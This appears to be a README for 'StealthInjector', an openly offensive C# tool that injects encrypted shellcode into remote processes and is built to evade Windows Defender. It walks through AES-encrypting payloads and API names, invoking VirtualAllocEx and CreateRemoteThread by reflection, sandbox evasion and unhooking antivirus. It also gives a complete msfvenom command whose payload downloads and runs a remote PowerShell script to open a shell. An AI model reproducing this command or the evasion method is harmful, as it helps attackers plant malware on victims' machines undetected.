⛷️StealthInjector

Process injection and Dynamic Shellcode Execution

StealthInjector.exe is an application written in C#, capable of injecting shellcode into a remote process and bypassing Windows Defender by directly decrypting our payload in memory and dynamically invoking functions such as VirtualAllocEx and CreateRemoteThread using System.Reflection module and obscuring their use in the code to evade static analysis.

Features

• Remote Interactive shell

• Dynamically Invoke functions like VirtualAllocEx and CreateRemoteThread

• Inject shellcode into remote process

• Basic Sandbox Evasion

How the script works:

1. Payload Generation: First, we generate a malicious payload using msfvenom. The command is as follows:

msfvenom --payload windows/exec CMD="cmd.exe /c powershell -c IEX(IWR http://10.X.X.X/shell.ps1 -UseBasicParsing);" EXITFUNC=thread -e x86/shikata_ga_nai -f csharp

1. Payload Encryption: Next, we encrypt the generated payload using AES256 algorithm. This step is crucial, as it obfuscates the payload, making it more challenging for antivirus programs like Windows Defender to detect the malicious code.

2. We apply the same encryption approach to the VirtualAllocEx and CreateRemoteThread function names to obscure their use in the code.

3. Dynamic Invocation and Decryption: Finally, using the System.Reflection module, we dynamically invoke these functions. The encrypted payload is then decrypted directly in memory.

Note:

Advanced antivirus programs may have hooked functions like "VirtualAllocEx" and "CreateRemoteThread." To execute our malicious payload, we first need to unhook them and then load our payload into memory.

POC

12MB

Process_Injection.mp4